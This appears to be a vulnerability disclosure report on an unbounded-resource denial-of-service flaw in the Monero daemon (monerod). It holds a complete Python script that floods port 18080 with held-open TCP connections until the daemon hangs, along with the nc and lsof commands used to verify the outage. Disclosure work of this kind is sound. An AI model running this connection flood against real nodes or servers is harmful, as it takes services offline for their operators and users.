Excessive Resource Usage

## Summary: Unbounded resource usage due to open one file descriptor per connection, Python script below is effectively a threadbomb on the destination and uses all available memory on the server, clients not sending anything are never terminated. ## Steps To Reproduce: Up our daemon ``` % monerod ``` Check if peer accepting connection ``` % nc -vz 127.0.0.1 18080 Connection to 127.0.0.1 18080 port [tcp/*] succeeded! ``` Create python script ex: resus.py ```python import resource import socket import time resource.setrlimit(resource.RLIMIT_NOFILE, (131072, 131072)) conn = [] while True: try: conn.append(socket.create_connection(("127.0.0.1", 18080))) except BaseException as err: print(err) break print(len(conn)) while True: time.sleep(1) ``` run the script as ROOT(required for setting RLIMIT) ``` % sudo python resus.py ``` wait up 2 to minutes then run netcat again to check if our socket request bomb deny the service ``` % nc -vz 127.0.0.1 18080 ``` now it's completely hang, during waiting you can run command ```lsof -i tcp``` to see lot of Monero connections ## Impact Denial of Service(Allocation of Resources Without Limits or Throttling)